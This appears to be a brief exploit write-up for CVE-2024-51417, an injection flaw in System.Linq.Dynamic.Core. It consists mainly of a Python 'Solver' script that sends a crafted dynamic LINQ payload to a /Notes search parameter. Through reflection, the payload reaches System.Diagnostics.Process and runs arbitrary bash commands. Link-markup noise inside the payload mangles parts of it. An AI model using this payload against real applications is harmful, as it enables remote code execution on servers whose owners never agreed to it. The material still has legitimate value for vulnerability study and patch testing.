CVE-2024-51417: System.Linq.Dynamic.Core RCE (Reflective)

• Attachments
• References

CVE-2024-51417 is a vulnerability in System.Linq.Dynamic.Core that allows remote access to properties on reflection types and static properties/fields, leading to RCE.

Solver

import httpx

url = "[<http://localhost:8080>](<http://localhost:8080>)"

payload = r'") && "".GetType().Assembly.DefinedTypes.Where([it.Name](<http://it.Name>) == "AppDomain").First().DeclaredMethods.Where([it.Name](<http://it.Name>) == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where([it.Name](<http://it.Name>) == "AppDomain").First().DeclaredProperties.Where([it.name](<http://it.name>) == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where([it.Name](<http://it.Name>) == "Process").First().DeclaredMethods.Where([it.name](<http://it.name>) == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c \"COMMAND\"".Split(";".ToCharArray())).GetType().ToString() == ("'

command = "id"
payload = payload.replace("COMMAND", command)

r = httpx.get(f"{url}/Notes", params=dict(search=payload))
print(r.text)